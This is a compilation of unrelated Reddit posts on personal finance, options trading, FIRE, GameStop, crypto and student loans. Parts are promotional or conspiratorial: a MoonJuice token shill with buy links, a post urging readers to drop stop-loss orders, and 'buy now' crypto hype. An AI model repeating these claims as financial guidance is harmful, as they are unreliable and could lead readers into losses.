contracts with 80%ish historical probability of expiring worthless using think or swim to analyze my trades and robinhood to execute orders. My aim here was to buff my edge by being able to recognize WHEN selling was most viable in relation technical analysis, or IV (whatever) to turn my probability of profit from 80% to maybe 90%. + +Since I'm novice I used a few different learning tools like OA, and TW tv to learn the basics of options trading. Option Aplha offered thier toolbox pro, with backtesting "software" for roughly $500 smackers US. I was sold on the video ad OA put together for it, advertising "millions of different strategies in different market conditions". When I started using the tool I quickly realized it wasn't "software" like they sell it, it's just a graphic interface on their webpage, no different from the demo version they have up for anyone to use. It minimally covers basic strategies, IC, strangle, straddle, spreads etc and this is the real kicker; the "any market you could think to trade" is really just a short list of liquid options markets.. SPY AMZN AAPL EEM. there's about 20 entries if that... you can't test a strategy with a short strike greater than .25 (why? no clue..) and the tool is broken to boot. Some drop downs don't load in, or load into different places without and actual drop down menu to choose from, sometimes it just fails on error when run, it's pretty bad. A short strangle sold weekly on SPY for the past 10 years net 176% returns apparently, but if you choose to sell Iron condors instead with the same short delta, time until expiration, and other specifics, you somehow lose everything in about a years time. Which makes absolutely zero sense to me. You'd be short the same strikes every week how does covering your trade with a couple long strikes suddenly flip the viability of selling premium? This to me is a problem with the script, not with iron condors. In the promo video Kirk states he paid 250K out of pocket to develop this tool.. I have to call bullshit, I've seen web tools much more refined that were made for much much less. If he really did pay $250K in dev and QA he got absolutely ripped off. + +(\*\*EDIT:\*\* I'm happy to say I couldn't have been more wrong when I made the following assumption, I'll leave it in the post for context purposes, but I'd like it noted by anyone reading this that OA and Kirk had reached out and offered a refund in full within a timely manner. My assumption was unfair and unwarranted at the time, a byproduct of cynicism. There are a lot of service providers in this field that are happy to take peoples money without a care as to whether or not their customers are happy with the end result, I can say without a doubt OptionAlpha/Kirk are the exception to this, and their customer service response has been nothing short of phenomenal.) + +I don't expect to get my money back, I anticipate some "all sales are final" reply in my mailbox in the coming days. I'll update here accordingly, who knows maybe I will be refunded, in which case I'll feel less taken advantage of. + +Update: OA reached out. Kirk (or who I believe to be Kirk) mailed back himself offering either a refund or to gift me another report(I’m guessing that means some other tool or book OA offers, nothing mentioned specifically) He was very understanding and sympathetic. I’m taking the refund but I really can’t speak well enough about the learning material OA has to offer, I don’t want this post to take away from the value that offers new traders. +I recently got my first job that offers a 401k and everyone I’ve talked to at work about it recommends one. I’ve googled but that just confuses me even more. I don’t understand where the money goes, how much I should put in, and how I can get it out in the future. I’m very financially illiterate and don’t know where to begin. I feel uncomfortable asking friends and my family is useless when it comes to being smart with money. +27y.o. - Conflicted about my current financial situation. Feeling incredibly financially stable but want to make educated decisions about my financial future to retire before 55. + +Would love to house hack but uncertain given real estate market conditions and interest rates in HCOL area. + +What would your next move be? + +Income: 94k - savings rate (25%), 5% 401k cont. (no match) + +Debt: no cc debt, own my car outright, no student loans. Renting a room for $850 in HCOL. + +Cash: 15k + +ESPP: 18k + +401k: 98k + +IRA: 61k +Title says most of it. They live in NY. What do people that age do with influxes of cash like that? Stock market seems very frothy imo. Where else do stash it? Low/zero fee annuities? Medicaid trusts? Let’s get creative, people! +Like most, when I started investing I couldn’t make money fast enough to satisfy me. Never mind that I was starting with $5k. Like many, I burned my hand trading too large attempting to make more money and it simply set me back. Looking back at it, I failed to appreciate by extending my investing horizon even marginally, it would have a profound impact on my future wealth. I am extremely fortunate in that at 29, I have surpassed my wealth development goal for 35. I say this not as a bragging point - but a very real reminder for the younger crowd starting at 17-20 that if you focus more on developing your wealth for when you’re even 30 vice 23 or 25, you will likely benefit considerably via lower risk trading. Most younger folks can’t fathom waiting until 40, which is why I chose 30 above. Let’s explore a rendition of my experience. + +- Started investing at 17 with $5k that I had saved from birthday gifts and working +- Began with buy and hold, moved to derivatives by mid 18 +- Initially focused on being profitable, then 10% and 15% return per year +- Performed well, but was anxious that although the % return was reasonable, the dollar amount was still small +- I started to focus on $ return, at one point traded an Iron Condor (far OTM and wide) to make $650 over 7 days. A big too large for the account size at the time. +- I experienced an outsized move that took me out of my trade with over a $30k loss +- This occurred at 20 years old + +My CAGR from 2007-2019 is 19.44%. That $30k loss chasing an outsized return because of impatience from 20-29, im out $148k. I continue to share these stories because it is by far one of my biggest regrets starting out. + +Starting young is so great yet many squander it with impatience. Do not set yourself back trying to make a quick buck now. I know it’s difficult, I had the same exact issue but do your best to think of even a slightly longer term game. I talk about it frequently in my small stacks segment - if I were to start over knowing what I do now, I would focus on developing a consistent strategy. The money will grow as you save, earn more from work or business ventures, etc. the most valuable component is the skill set. That’s what will truly pay out longer term. +Hi, we got married recently and we have been lucky enough to have obtained about 8k of cash from our wedding guests. Some of that money has come from friends and family abroad. + +We'd like to deposit the money to the bank ASAP but as this is a rather large sum we are afraid that this could raise some suspicions at the bank (money laundering etc). We have a few questions on this: + +1. What would be the best way to deposit this cash? Can we just do it all in one go or would it be better to break it down into smaller sums and do several smaller deposits (say 1k at a time) over a few days/weeks? Can my wife and I split the money between us and deposit it to our separate bank accounts to make this quicker? +2. If we get asked by the bank/authorities where the money came from would telling them that it was a wedding gift and perhaps presenting them with marriage certificate would get us out of trouble? +3. With this money coming from multiple guests would we need to pay any tax on it (gift tax)? + +Any help on this would be highly appreciated! Thanks +This man, with the help of a few million apes, has had the power to start the MOASS and checkmate the shorts this WHOLE TIME. RC and his silverback Diamond testicles has literally been waiting until he FEELS LIKE IT to destroy shitadel and the whole scam we call our financial markets (or at least Wall Street). He alone chooses when and how he wants the Game to Stop. He must feel like the ape-iest ape in all of ape history. And he may very well go out there today, slam his 9 pound hammer on the table and say: “Fuck you, pay me. And these Reddit retards too.” Whether today is the beginning of the end or the end of the beginning, I must say. I’m damn proud to be an ape. Let today go down in history. Buckle up 💎🙌🚀🦍 + The two ratings of CTXR (from last month): + +H.C. Wainwright reiterated a buy and PT $4.00 + +Dawson James reiterated a buy and PT $8.00 + +This gives an average PT of $6.00 and an upside of 339% (from $1.77 today) + +The report: +https://dawsonjames.com/wp-content/uploads/2021/03/CTXR.3.10.21.pdf +What do you guys think of this? +My views: terrible idea. Unfortunately Australians have proven that they are not to be trusted to make their own decisions. We live debt and have almost no understanding of investing. Super is a great way to force retirement savings. Making this opt-out will hurt the people, who will be opt-ing out the most. +Our of the all the state governed things, super is the last they should remove. + +It is MUCH better to have $80k in super when you’re 65, than $0.00 + +Edit: forgot the link https://www.smh.com.au/politics/federal/make-super-voluntary-for-low-income-earners-new-liberal-senator-says-20190724-p52aer.html#comments + +Edit 2: since there are concerns over the high fees linked to super - isn’t it better to regulate those fees/charges rather than to remove the entire system altogether? +I stumbled across this [Well made video](https://youtu.be/5Tjdjxo-IOo) on YouTube this morning. I think it provides a good perspective on housing prices in Australia. +Tl:dw - don’t spend too much on a house, they can go down in price, renting is an ok option +Housing Prices are driven by rents and cost of borrowing. + +Rents are driven by disposable income and rental vacancies. + +Most of the gains in the past 12m have come because borrowing is so cheap. Just think about the borrowing capacity of household with a combined income of $250K now compared with 18m ago. Also you cant discount the higher disposable income people now have due to the lack of travel, etc - just look at household savings + +&#x200B; + +[80&#37; of this will go to into property](https://preview.redd.it/heg6rz4fmoq61.png?width=1200&format=png&auto=webp&s=cc179a153c4bb349941cb28479652c4443dd3b3c) + +One thing to consider is that the prices you are seeing now on Corelogic and the likes are really the prices from 3m ago that are only been settled now. + +My theory is that the lack of immigration and quicker than expected rebound will cause wage inflation for the first time since 2007. Just check the latest on job vacancies. Most of this growth will be seen in Melbourne and Sydney where the employment markets will be the strongest, again due to the proportion of Australian immigrants that the two cities take in. + +&#x200B; + +&#x200B; + +https://preview.redd.it/fv6ojsk9noq61.png?width=1484&format=png&auto=webp&s=b230afedeebc605b8a99b29f36ed7db5605bf288 + +Property price growth in the next couple of months will make 2012-2016 look like a bear market. Of course there will be pockets of weakness such as international tourist and international student locations but for most of Australia it will be parabolic, as fomo really kicks in. + +However in time the same factors that will cause the boom will bring about its fall, The lack of immigration will cause higher vacancies, an effect which will be multiplied by the increase of supply due to higher prices. higher prices/higher wages will force the RBA to raise rates or they will simply stop buying short dated bonds, meaning rates rill rise similar to the rise of the 10y over the past 3m. + +&#x200B; + +https://preview.redd.it/l9hnre66moq61.png?width=1920&format=png&auto=webp&s=23e356357c957f737895691868bb2c259cd0faac +So I'm 21, only started educating myself on investing in the last couple months. + +I got a little money saved up from working (and living at home lol) and I'm planning on investing about 15k$ of it in some long term savings account (still need to iron out the exact details), which I'm sure is just small change to most people here, but it's a lot to me 😅 + +I'm also leaving on a huge backpacking trip in less than 2 months, something that's been a dream of mine for years. So I've diverted some money into the traveling. + + +I'm super excited for this trip but I also feel...guilty. + +Guilty about spending so much money on traveling when I know how strong every penny I invest right now in my 20s is... + +Which is why I've been trying to find the balance between enjoying my money and youth right now and long term investing (which is why I divided most of what I saved so far between the travel fund and investing purposes, while also leaving some money in my checking account without a designated purpose to serve as a cushion for when I come back from my trip... I thought it makes sense at least idk) + + +But it feels like... Not enough +Just a question. My BF and I quit the rat race last year to travel full time in an RV. It was amazing. But it woke us up to this whole FI/RE concept because you generally need some passive income to keep it going. + +However, I'm posting here because a lot of people I've met are unaware what a full time RVers life COULD look like. It's not all writing blogs, taking pictures of food and earning money on etsy... Some people actually work or even volunteer in exchange for a full hookup site. So you own an RV and you essentially have no rent for volunteering at a National Park (or state, or campground, or whatever) for 20 hours a week. Some of them will provide a site and pay you, some of them require 40 hours, some of them even pay decent. It's called "workamping" or "workcamping." + +We spent 6 months in West Yellowstone, MT working at a gift shop for minimum wage (20-24 hours a week each, with 3 days off together in a row). Our boss also owned a pair of cabins and we were paid $70 to clean when they were vacated (3x a week, took about 2 hours per cabin). We paid no rent and lived in the most beautiful place, less than a mile from Yellowstone National Park. + +We then traveled for several weeks and went to work for an Amazon warehouse for $11/hr as "pickers" for their Christmas season. They also pay for a full hookup site in a campground. Less glamorous but the $$ was good and we lost weight walking 6-14 miles a day. :) + +I just wanted to share my experience. Maybe some people on here are within a few years of FI/RE and would like to travel the US to parks, this might be a way to do it without withdrawing a full 4%. We made it work with about $5k saved for the whole 9 months (includes 6 weeks on the road traveling, Vegas, etc.). We would still be doing it but we are intent on building up investments so we could work for half the year instead of the full year, have better equipment and make sure it's 100% more sustainable (we have student loan debt). + +I hope this helps someone reading it. +[GameStop.com](https://www.gamestop.com/) || Shop [Internationally](https://www.reddit.com/r/Superstonk/comments/vyyzmx/gamestop_retail_international_nft_game_informer/) || [NFT Marketplace](https://nft.gamestop.com) + +GameStop [Investor Relations](https://news.gamestop.com/) + +# 🙋 ​[What's GME & should I consider investing?](https://www.reddit.com/r/Superstonk/comments/qig65g/welcome_rall_looking_to_catch_up_on_the_gme_saga/) + +# 📚 Library of Due Diligence [GME.fyi](https://fliphtml5.com/bookcase/kosyg) + +>A collection of over 200 of the most important, groundbreaking **D**ue **D**iligence. If you're looking to familiarize yourself with the GME bull thesis or the underhanded tactics of the short sellers involved in this trade– then this is for you + +# 🟣 [Computershare Megathread](https://www.reddit.com/r/Superstonk/comments/yjawq7) + +*gobble gobble'n up those shares* 🎃🦃 + +>Wondering what DRS is? Want to know how and why people are Direct Registering their shares? Here you'll find our guide and additional resources, as well as a welcoming community answering questions in the comments! + +🏴‍☠️ [NFT Marketplace & Wallet Megathread](https://www.reddit.com/r/Superstonk/comments/vluysg/gamestop_nft_marketplace_wallet_megathread/) + +>Why is GameStop getting into NFTs? *WTF* even is an NFT? How do I set up a GameStop Wallet? How do I get a cool/custom wallet address? All these questions and more are answered here! + +**Read** [**the Rules & Wiki**](https://www.reddit.com/r/Superstonk/wiki/index) **||** [**MOASS FAQ**](https://www.reddit.com/r/Superstonk/wiki/index/faq) **|| Join our** [**Discord**](https://discord.gg/Superstonk) + +How to [feed DRSBOT](https://www.reddit.com/r/GMEOrphans/comments/qlvour/welcome_to_gmeorphans_read_this_post/). Low karma? Post your DRS on r/GMEOrphans + +How to [Filter by Flair & Search](https://www.reddit.com/r/Superstonk/comments/v0oxp2/how_to_filter_by_flair_search_for_posts_on/) on Superstonk + +Tag u/Superstonk-Flairy for user flairs, find [custom emoji options here](https://www.reddit.com/r/Superstonk/comments/v89p0h/new_superstonk_user_flair_emojis_how_to_edit_your/) +Hi everyone, I was just wondering why so many people are still so doom and gloom, I know everyone is just focusing on the price, even though we have the most developed team by far, but even if that is all you are doing, why are you not celebrating that you can be buying more at these sort of prices, my strategy for all of this year will be to buy as much as I can every month when I get paid, I seriously don't think there will ever be a chance like this again in our lifetimes, yes you can make 5% maybe 10% on stocks and shares but you will never get the returns that crypto can provide, and now you have a second chance to buy an already proven "product" at a very discounted price and you don't want in? Yes there is the argument that people who bought at the top feel very burned but really if you held all the way down to now, you must have some belief in Ethereum, so just go for it do what you can to top up what you had and I dont think you will regret it, and I am not just saying this to "shill my bags" as some people like to say, I am and will be buying each month this year, whether the price goes up or goes down, and to be honest I would prefer it to go down right now so I would be getting more each month, but I want people along for the ride and for them to not miss out also, I have been lurking for some time and just recently decided to get on reddit and be part of the community, and I am hoping to get to know a fair few of you here as well and we can all experience the highs and lows together, better stop here as I have been rambling for a bit now, but seriously stay strong guys, and if there was ever a time to be greedy this is it! +Welcome to the Daily Altcoin Discussion thread of /r/EthTrader. + +*** + +The thread guidelines are as follows: + +- All sub rules apply here so please review our **[rules page](https://www.reddit.com/r/ethtrader/about/rules/)** to become familiar with them. The rules page is also linked in the announcement bar above. +- This thread is intended as a welcome place for discussion of all non-Ethereum related crypto. + +*** + + Resources and other information: + +* Newcomers who have basic questions about Ethereum can find answers by visiting /r/EthereumNoobies or our Ethereum Education wiki page, [see here](https://www.reddit.com/r/ethtrader/wiki/education). + +* To view live streaming comments for this thread, [click here](https://reddit-stream.com/comments/auto). Account permissions are required to post comments through Reddit-Stream.com. + +*** + +Enjoy! + +**$3M MARKET CAP. 1500 HOLDERS. FAST GROWING COMMUNITY** + +MoonJuice, the first Crypto Backed Energy Drink on the the Binance Smart Chain + +As a 1500 holder milestone, they've just doxxed the first core team member! As they approach more milestones, more information about the core team will be disclosed and updated on their website. + +"Chris has 5+ years in the e-commerce industry, working with the likes of Ebay, Adidas, Puma, Lenovo and Dell." + + +Join the community and read the full breakdown! +[https://www.t.me/MoonJuiceOfficial](https://www.t.me/MoonJuiceOfficial) + +They have an INSANE roadmap that has just been dropped for the 1500 holder milestone as well! Here's just a glimpse: + +🚀 **UPCOMING PLANS** + +* First Audit +* Energy Drink Launch +* Extensive Marketing +* Partnerships x Collabs +* Exclusive NFT Drops +* Deploying V2 of Website + +💥 **TOKENOMICS** + +4% Tax on ALL transactions: + +2% Automatically contributes to the liquidity + +2% Equally redistributed to all holders + +Initial liquidity burnt forever + +Slippage 5-10% + +This team is actually legit, with more of the core team revealing identities as the project continues. They have been absolutely crushing the marketing and they are only just now getting started. + +You will want to make sure you hop in on a project like this before it becomes the next MoonPirate. Their product and branding is absolutely on point for a bunch of crypto trading chads/ + +😎 [Doxxed Dev](https://twitter.com/themoonjuice/status/1386155432192856074) + +🔥 [Burned Liquidity](https://bscscan.com/token/0x44c59fbd1e59cAE9b7c662ffc22117F20B0b653d#balances) + +🔥 [1500 Holder Burn Milestone](https://bscscan.com/tx/0x717de52d2f51f8fcbf1bd1ec249bc39bcadc81526bf5224d049c25998499b1b3) + +🔒 [Vested Team Tokens](https://dxsale.app/app/pages/dxlockview?id=0&add=0x84DA89224132291c4D1B3B3AAC60c43B74A7c16b&type=tokenlock&chain=BSC) + +🔒 [Liquidity Locked](https://dxsale.app/app/pages/dxlockview?id=0&add=0x84DA89224132291c4D1B3B3AAC60c43B74A7c16b&type=tokenlock&chain=BSC) + +✔️ [Buy On PancakeSwap](https://v1exchange.pancakeswap.finance/#/swap?outputCurrency=0x8087e4c1735c1373f0d04b88d4dbe1fae1149123) + +📈 [Chart](https://poocoin.app/tokens/0x8087e4c1735c1373f0d04b88d4dbe1fae1149123) + +🖥️ [Website (V2 Next Week)](https://www.moonjuice.app/) + +🏠 [Telegram](https://t.me/moonjuiceofficial) + +💬 [Twitter](https://twitter.com/themoonjuice) + +🔎 [BscScan](https://bscscan.com/token/0x8087e4c1735c1373f0d04b88d4dbe1fae1149123) + +👍 [SubReddit](https://www.reddit.com/r/MoonJuiceOfficial/) +Visitor: "Hi there. I'm new and happy to be here. Decided to post because I have a really great idea." + +/r/Investing: (silent) + +Visitor: "Uh, so check out this company I've been looking at. Examining at its business model, recent earning reports, and current market conditions. The stock seems undervalued and poised for great growth in the coming years. Solid management too." + +/r/Investing: "That's a communication/energy/tech/etc company. Communication/energy/tech/etc companies are really risky." + +Visitor: "Right, I know. But I've done my homework and feel confident that this is a decent gamble." + +/r/Investing: "Everything is overvalued right now." + +Visitor: "I suppose. But don't you think the stock is an interesting play? I like the company and see a chance for a great return." + +/r/Investing: (looks away) "It's your money, but I wouldn't do it. You're totally exposed unless you invest in index funds." + +Visitor: "I do invest in index funds. My main investments are a diversified basket of various subclasses of stocks like US, Europe, Pacific, and Emerging Market index funds balanced across large and small cap. I'll be rebalancing at the end of every year." + +/r/Investing: "Using Vanguard Total US (VTI) and International (VXUS) are simpler. Two index funds to worry about, not all the crazy ones you mentioned." + +Visitor: "They all seem solid to me. And you don't get nearly the diversification and rebalancing benefits with just two stocks." + +/r/Investing: (looks bored) + +Visitor: (pauses - clears voice awkwardly) "Sorry to say this, but I'm feeling a bit of skepticism toward my ideas. You basically seem to distain any interesting or complicated approaches to investing." + +/r/Investing: (sighs) "You know what your problem is?" + +Visitor: "What?" + +/r/Investing: "Your problem is that you're interested in investing." + +Vistor: (leaves for /r/funny) + +**Edit**: Thanks for all the thoughtful responses. Definitely glad this sub stops people from losing money on poorly thought out stock tips. But I also hope this dialog has encouraged this sub to be a bit more welcoming. +I am considering switching from my current high street bank HSBC. + +I am tired of their customer service. Most recently the fact that they kept stringing me on the phone for an entire day as I needed to get a statement generated for my current account. + +So, no I am on the lookout for a new bank. Something with a nice app, that allows me to generate statements easily without having to be on the call with them entire day. + +I already have a challenger bank account with Starling and Chase. However would like to maintain a high street bank account too + +Edit: The issue with HSBC is that they are rigid on the statement generation date. My statement generation date is 2nd of the month. This meant I would have to wait till November 2 for my transactions done in the month of October. With Starling, I [can generate a statement](https://i.imgur.com/hE2z5dI.jpg) for whichever date range I want. That’s what I am missing. +I enjoy building XLS models and do scenario analysis on stonks. + +My model says: + +If GME Q3 revenue is $1.420 billion (that's about 10% more than last Q3), and + +If GME can realize a 6.9% reduction in SG&A (Q2 saw 14% reduction and Q1 saw a 16% reduction as they rightsize the team and realize efficiencies from their own distribution systems, etc), and + +If GME can maintain Q2 GM of 25% and maybe pick up 1% point from NFT marketplace activity, then + +My model says GME would put down positive earnings of about $0.02 per share. + +So profitability is possible.....is it probable? + +Side note about Q4 - If GME revenue is equal to Q4 2021 revenue , and margin compresses to 18% (last year was 17%), and they realize no further savings in SG&A, then GME earnings would be around $0.07 per share for Q4 of 2022. No target, just up. +If they keep us diving a wave of stop-loss orders will trigger, which means the price will really plummet HARD soon. **They can likely see your stop-loss order in the public order book right now** and know how much they need to ladder to make your sell order trigger. We should consider turning off our stop losses NOW or else they will keep doing this till we are in the ground. There isn't much time left. If we do this then we can hold out till the next series of covering. **Hold** and let the interest on their margin compound against them. People need to hear about this now, please. Not financial advice, I'm not an advisor. + +This is why it's so important to only play with money that you are literally 100%%% fine with losing right now. It's stupid to buy if you plan to daytrade, panic sell, not hold over the weekend, or for any reason other than faithfully holding. It doesn't matter if all you can afford is one share. Everyday you hold is another day the interest builds up for them. + +This is the 6th time I'm trying to upload, admins literally fuck off. We need to get the word out now. I had to make this so vanilla to get it up + +Don't show them your hand + +&#x200B; + +https://preview.redd.it/pmt1ifhc44f61.jpg?width=828&format=pjpg&auto=webp&s=c94d5df2c6af309b78529660192db3d422914f4a + +https://preview.redd.it/0ogvxghc44f61.jpg?width=828&format=pjpg&auto=webp&s=a25eee1e7452eda15935519b214e0f7264f8bf51 + +https://preview.redd.it/d6d79ihc44f61.jpg?width=828&format=pjpg&auto=webp&s=b3a3b583c6d2c1bf08598946370ccd1dd107595e + +These pictures are not from me. I'm not taking creds for them +Example: *"Just graduated with $50k in debt and will be starting a $60k job in 3 weeks, where do I begin?"* +----------------------- + + +With the Spring semester ending and the promotion to a default subreddit, there has been a huge influx of posts mostly covering the same topic. + +Start here: [Khan Academy videos on IRA's, 401k's, etc](https://www.youtube.com/watch?v=tvL7ox0ezCU&list=PLUBoK8lZIxW90VxgRyjqWfPf4BZ-tYeGN). This link is to a Khan Academy playlist. There are options on the right for different videos on different subjects. The first video is mostly about credit cards. + +Second stop: If you would like more video-material, Look up [Dave Ramsey](http://www.daveramsey.com/). He has some great videos on PF. You can find more videos on Youtube. + + +Here are a few guidelines I'm hoping will help 90% of the recent grads - +--------------------------------------------------- + +* Live frugally. Spend as little as possible. You owe a lot of money to something, act like it. If you don't grab it by the horns now, it could haunt you for years to come. +* CREATE A BUDGET [YNAB](http://www.youneedabudget.com/) is great, or [Mint](http://www.mint.com). +* Stick to your budget! +* Allocate money to and IRA/Roth IRA/401k if possible. This will depend on your interest rates. Generally, if the interest is lower than 4% you could benefit more from putting money in an investment account. **Remember, putting money towards a 6% loan is a guaranteed 6% return**. Another thing to remember is that if your company matches 401k, then you should contribute **at least** the amount that they match. This will net you a 100% return on your money! +* Build an [Emergency Fund](http://www.wisebread.com/figuring-the-size-of-your-emergency-fund) with 3-6 months of expenses +* [HERE](http://i.imgur.com/PWfvdvB.png) is a great info-graphic of how to allocate money. (I believe /u/BrainSturgeon created this info-graphic, so credit to him!) + +Check the sidebar, there is a lot of great information there. + +I'm sure I am forgetting some things, if anyone else would like me to add to this, please let me know! + +If you believe your situation is different, feel free to post a comment below and we can try to help! + + + + + +Additions: + +Excellent Loan information from user /u/EducatedRisk - Original post, with links to sites, can be found [HERE](http://www.reddit.com/r/personalfinance/comments/25cuai/to_all_recent_college_grads_worried_where_to/chgf2gs?context=3) +---------------------------------------------- +Recent graduates should be aware of all their student loan repayment options. Most federal loans qualify for certain loan forgiveness programs, interest benefits, and flexible repayment options. All students with student loan debt should take all these options into account as part of their financial planning. + +Use StudentLoans.Gov's Repayment estimator - ED just rolled out a feature that will take your actual loan balances and project your monthly costs for each repayment program, the total balance and interest paid over the lifetime, and potential forgiven loan balances. You can also now just log into Studentloans.gov and you can review all your federal student loan balances (and each loan's current status). + +Any borrower that does not have a job at graduation should immediately enroll in Income-Based Repayment or Pay As You Earn. This provides more payment flexibility as you search for a job. Its better than a deferment or forbearance too. Even if you plan on making extra payments, the flexibility of PAYE and IBR can benefit most borrowers. + +Income-Based Repayment - You pay 15% of your discretionary annual income divided into 12 monthly payments. If you have less ~$20k in income, your payments are generally $0/month. Interest still accrues but it is not capitalized. + +Pay As You Earn - It has the same terms as Income-based Repayment except that you only pay 10% of your income. Also, this is only available to borrowers that did not have federal loans before Oct. 1, 2007 and who also had a NEW loan disbursed after Oct. 1, 2010 (confusing, I know). +Here are some other common questions as well: + +Federal Loan Consolidation - For federal loans, the monetary benefits for consolidation are minimal; the interest rates are averaged and there basically is no discount. When the loans are consolidated, you cannot target the highest interest rates with extra payments. Only consolidate for peace of mind and a simplified process but, generally, consolidation is not worth it for borrowers. + +Capitalization of Interest - When a borrower graduates, some loans have accrued interest that is unpaid. The interest is capitalized when you graduate (added to balance of the loan). ED and your loan servicer will send letter recommending your make payments on the Uncapitalized Interest before it is capitalized. If you do, then that portion of unpaid interest is never charged interest over the life of your loan and you save money. If you can, make payments on the uncapitalized interest during your grace period. It is a good way to save money if you have extra savings and a job. + +Grace Period - Direct Loans have a 6 month grace period from graduation; then borrowers have to make payments. Perkins Loans have a 9 month grace period. You can make payments before that if you want. +Refinancing With Private Loans - There are number of companies out there that specialize in refinancing and consolidating private and federal loans. Each company is different but generally the lowest I have seen for refinancing is ~5% for borrowers with good credit. Keep in mind, however, that you lose access to loan forgiveness, IBR and PAYE if you refinance with private loans. + +I am only mentioning these student loan issues because these decisions made right after graduation can have a huge positive or negative impact your personal finances for years to come. + + +For more information related directly to Student loans, check out /r/studentloans! +[Article](http://minnesota.cbslocal.com/2015/02/05/minnesota-stops-accepting-turbotax-returns-due-to-fraud/) + +TL;DR - Due to concerns of fraud from tax year 2013 and 2014, Minnesota is no longer accepting state tax returns from turbo tax. Other tax software has not been affected by this ban. It is not clear whether previously accepted returns for tax year 2014 will be affected. + +Edit 1: Got a little carried away and forgot "from turbo tax" in the TL;DR + +Edit 2: [Now affecting all states, Intuit will not file for states at the present.](http://www.usatoday.com/story/money/personalfinance/2015/02/06/turbotax-state-filings-halted/22979519/) Thanks for the heads up /u/KittenSwagger and wording correction /u/itstheredbaron + +Edit 3: Intuit is now submitting state returns again. Original story in MN still applies. +>President Donald Trumponce [sic] again claimed that he is responsible for the U.S. stock market's yearlong rally. + +>Onboard Air Force One, Trump told reporters that he's the reason major equity indexes are trading at record highs. + +>"The reason our stock market is so successful is because of me," the president said. "I've always been great with money, I've always been great with jobs, that's what I do. And I've done it well, I've done it really well, much better than people understand and they understand I've done well." + +>It's not the first time the president has boasted that his presidency has propelled the market higher. "Stock Market has increased by 5.2 Trillion dollars since the election on November 8th, a 25% increase," Trump tweeted last month. + +>Many corporate executives agree that Trump should get some credit for the rally. + +>In September, more than three-quarters of respondents to the CNBC Global CFO Council poll said Trump deserves at least some of the credit for the stock market's record run in 2017, with 17.1 percent saying he deserves "most of the credit." + +[CNBC](https://www.cnbc.com/2017/11/06/trump-boasts-the-reason-our-stock-market-is-so-successful-is-because-of-me.html) +It's astonishing that the norm is 60+. I don't believe it. + +I never really thought about it until last week and I have visited this sub for a while. I looked around at my managers who are 50/60+ and was amazed that they hadn't retired yet. Even retiring at 40+ seems like a stretch to me at 21, because that twice my age. I'm thankful that I found this sub early on. + +Perhaps one of the reasons people don't pick up on FIRE is that they have wasted too much time not planning for it and it is pointless for them to consider it... I don't know, I know have much to learn. +I just did it! Current age is 43. My main goal with FIRE was to reduce my anxiety from a stressful job. I think I was almost trying too hard to be FI that it also was creating more anxiety. +I had been on track to be ready to retire at 50, but I was just getting so frustrated with my job putting more and more on my shoulders. +As my boss was offering even more money to take on more responsibility, I finally confessed that is wasn't about the money for me anymore, I wanted more freedom. +This was super stressful, but so glad as my boss suggested me going part-time and taking a huge chunk of responsibility off my plate. I said that I would be open to that. +They came back with an offer for me to go down to 50% pay and work 3 days (but 9-5) instead of my normal 9-8ish. +I crunched some numbers and am now semi-retired and have so much less anxiety and stress. +I would just like to thank this sub for getting me to a position where I could have that conversation without stressing too much that I would be financially ok. + +Edit: Stats +43, $1M condo paid in full, $400K in invested assets, salary will now be $60K (instead of $120K), single, and addicted to travel and my hobby of glassblowing. +Work is also flexible with me working 4/days/week when it's busy and then banking those days so I will be able to take longer vacations when it isn't as busy. + +The title says it all. I have a lot of free time at work and pretty much open access to the internet. I always enjoy reading about finance but to learn enough to become a successful investor is a bit intimidating at times. I understand how most investing terms but I don't know where to go to get the knowledge. +Welcome to the **/r/EthTrader** Daily Discussion thread. The thread guidelines are as follows: +*** + +- Discussion topics include but are not limited to general discussion, details related to events of the day, technical analysis, Ethereum Classic, and minor questions. +- Important content should be posted as a separate thread. +- Be excellent to each other. + +*** + +Thank you in advance for your participation. Enjoy! + +According to Doug Ramsey of the Leuthold Group, 334 companies trading on the New York Stock Exchange recently hit a 52-week low, more than double the amount that marked new one-year highs. **That’s happened only three other times in history — all of them occurring in December 1999.** + +&#x200B; + +https://preview.redd.it/6d8sqcz4q5c81.png?width=500&format=png&auto=webp&s=0e737df3862b853f159b2dec4fc5a5c016c5fe67 + +**How did we get back to the precipice of the year 2000**, where tech stocks plunged 80% and the S&P 500 lost 50% of its value over the ensuing two years? Well, start off with the fact that the amount of new money created by our central bank in the past 14 years is $8 trillion. That, by the way, is an increase in base money supply only and does not include all of the new money created by our debt-based monetary system. So, from 1913 to 2008, the Fed created $800 billion. And, it took from 2008 until today—just 14 years–for it to have created $8.8 trillion in base money supply. Is there really any wonder why inflation has now become a salient issue, especially for the middle and lower classes, and why the stock market is now set up for a meltdown similar to the NASDAQ collapse of two decades ago? + +Some might claim that the bubble in the stock market was much different in 2000 than it is today. They are correct. The overvaluation 22 years ago pales in comparison to today. **With its record high P/S ratio of 3.5, as opposed to just 1.8 back in 2000. And the mind-numbing record high 210% TMC/GDP ratio, which is an incredible 68 percentage points ahead of where it ascended to 22 years ago.** + +Ok, so the stock market is much more expensive today than at any other time in history, **but what will the catalyst be to set it tumbling off the cliff?** Last week I talked about the monetary cliff coming in the next two months. ***To review: The Fed will wind down its record-breaking $120 billion per month counterfeiting scheme to zero dollars in that timeframe. This Q.E. involved the process of handing newly created money to banks, consumers, and businesses to boost consumption. But by ending this flow of new money, the Fed will also end its tacit support for the municipal bond market, primary dealers, money market mutual funds, REPO market, International SWAP lines, ETF market, primary and secondary corporate debt markets, commercial paper market, and support for student, auto and credit card loans. All of which were directly supported by Jerome Powell’s with the Fed’s latest Q.E. program.*** + +**But it doesn’t end there. Mr. Powell cannot be content with just ending Q.E., not with CPI running at 6.8%! Therefore, very soon after Q.E. is terminated, interest rates are heading higher, and the balance sheet of the Fed must start shrinking.** However, an occasional 25-bps rate hike here or there won’t cut it. He has to hike rates by 680-bps just to get to a zero percent real Fed Funds Rate. Now, of course, Powell doesn’t intend to hike monetary policy that much because he is fully aware it would collapse the whole artificial market construct well before he gets anywhere close to that level. But the point here is that the FOMC has lost the luxury of being able to delay and dither as it has in the past because inflation is running at a 40-year high. Hence, the Fed will need to hike rates rather aggressively until inflation, the economy, or asset prices come crashing down. But since all three are so closely linked together, they will likely all cascade simultaneously. + +And, now this week, I want to shed some new light on the concurrent fiscal cliff and **shoot a hole through Wall Street’s excess savings B.S.** As most of you are already aware, I’ve been pretty clear about ***the negative consumption effects that will result from the ending of $6 trillion in government 